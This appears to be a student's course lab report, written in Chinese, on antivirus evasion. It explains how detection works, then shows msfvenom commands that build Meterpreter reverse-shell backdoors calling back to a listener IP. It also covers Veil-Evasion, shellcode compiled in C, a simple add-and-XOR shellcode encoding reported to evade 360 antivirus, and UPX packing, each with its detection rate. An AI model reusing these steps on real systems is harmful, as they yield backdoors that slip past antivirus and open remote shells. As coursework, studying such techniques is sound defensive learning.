网络对抗 Exp3 免杀原理与实践 20154311 王卓然
Exp3 免杀原理与实践
一、基础问题回答
(1)杀软是如何检测出恶意代码的?
①基于特征码的检测:AV软件厂商通过检测一个可执行文件是否包含一段与特征码库中相匹配的特征码从而判断是否为恶意软件。
②启发式恶意软件检测:就是根据一个程序的特征和行为如果与恶意软件相似,就判定为恶意软件。
③基于行为的恶意软件检测:同启发式,启发式偏向于对程序的特征扫描,基于行为的则是多了对程序的行为监控。
(2)免杀是做什么?
免杀就是使恶意软件能不被AV软件的检测出来,其本身安装的后门能够不被发现,成功存活下来。
(3)免杀的基本方法有哪些?
1、改变特征码:
如果是类似exe的可执行文件可以加壳,例如压缩壳
如果是shellcode可以用encode进行编码或者用payload重新编译生成可执行文件
如果是源代码可以用其他语言进行重写再编译(veil-evasion)
2、改变行为:
通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据
操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码
3、非常规方法:
①使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
②使用社工类攻击,诱骗目标关闭AV软件。
③纯手工打造一个恶意软件。
二、实验步骤
使用Msfvenom编码器
使用指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.200.133 PORT=4311 -f exe > wangzhuoran01.exe 生成一个可执行文件放到网站 http://www.virscan.org 上检测,结果如下:
可以发现检测率有46%,说明裸后门文件被发现的可能性还是挺高的。于是我们试试多次编码后会不会降低被检测率。
使用Veil-Evasion
veil-evasion和Metasploit类似,可以生成后门文件,但Linux里没有需要我们自己安装,用 sudo apt-get install veil-evasion 指令下载软件包,下载好后输入 veil 开始安装。
安装完成后自动进入 veil (下次想调用,输入 veil 即可)。
list 指令可以查看可使用的工具,选择 evasion (或者直接输入 use evasion )
同上 list 可查看可使用的 payload
使用 use 指令选择一个工具,这里我选择了 8 号,然后设置一下 LHOST和 LPORT ,输入generate 生成 exe 文件,命名一下就顺利生成文件。(我最开始选择的是 python ,然而要么是生成出错,要么是最后无法生成exe文件,可能是我安装过程有些问题,最后也只能放弃尝试使用 c 了,好在一次就成功生成)。
生成完成后去那个目录把文件复制到wIndows上检测。
检测率下降了挺多,只有15%了,然而还是会被 360 扫出来。
C语言调用Shellcode
输入指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.200.133 LPORT=4311 -f c 生成一个c语言格式的Shellcode数组
Linux平台交叉编译Windows应用
将生成部分复制,粘贴到自己创建的一个c格式文件中,添加一个main函数保存退出。
使用指令 i686-w64-mingw32-g++ wangzhuoran03.c -o wangzhuoran03.exe 将创建的c格式文件转化为64位windows系统下的exe文件。
复制到windows系统下,正常是这个exe文件就是我们的后门文件,然而我运行的时候却提示出错,也不知道什么原因,于是我就试着把Linux下的.c文件拷到windows上编译并运行,生成的exe可以成功作为后门文件运行。在Linux里用MSF监听(步骤参考上次实验),成功回连。
放到virscan上扫描仍有7个AV报毒,17%的检测率。然而我的360却杀不出来?!(啥情况?!)。
然而我的360却没能杀出来(啥情况?!)。
VisualStudio
在VS上新建个项目,直接将代码拷进去,编译并运行,找到其生成的exe文件(在项目的debug目录下)。
用virscan和360扫一下
哈哈,比Linux下直接编译的检测率还低一点,当然360也没查出来。(然而在运行后门的时候360直接报毒了,难道是检测到行为类似所以直接报毒么...,不过如果在VS上编译运行的话同样能回连成功且360不报毒)。
测试回连也成功。
进阶版本
考虑到裸的shellcode不经加密伪装还是有较大可能被发现的,于是我们可以采用一些算法进行加工。
这里我是先编写一个C程序将原来的shellcod每位数加上0x43(十六进制的)然后再与0x11异或处理。得到的数组如下:
然后再在原后门程序文件中加入一个解码的过程代码还原shellcode。
经测试可以在360开启下成功回连主机(完美免杀),virscan和360扫描结果也十分理想。
加壳
压缩壳UPX
直接用upx将MSF直接生成的文件加壳。
上传到virscan扫描。
用360查杀。
效果并不理想。
在Kali里并没有找到加密壳 hyperion 好像是veil里自带的,然而我的并没有,就不在这演示了。
三、离实战还缺些什么技术或步骤?
- 如何把我们成功免杀的后门程序安放到别人的电脑上,并且让其能运行起来。
- 如何把我们的后门程序伪装的更好,让其更具诱惑性。
四、实验心得与体会
通过这次实验,我发现借由msf或veil-evasion等工具半手工的弄一个能被大部分AV免杀的后门程序还是挺简单的,远没有我原来想的复杂高深,当然如果是纯手工自己编写代码弄一个后门就另当别论了。但是,除了免杀以外还要进一步学习如何使靶机上当,将后门程序传到靶机上,并且成功在肉机上运行,这几个条件都是缺一不可的,还有待学习。这次实验也再次为我敲响警钟,AV并不是万能的,那些查杀不出来的软件并非绝对安全,千万不能掉以轻心。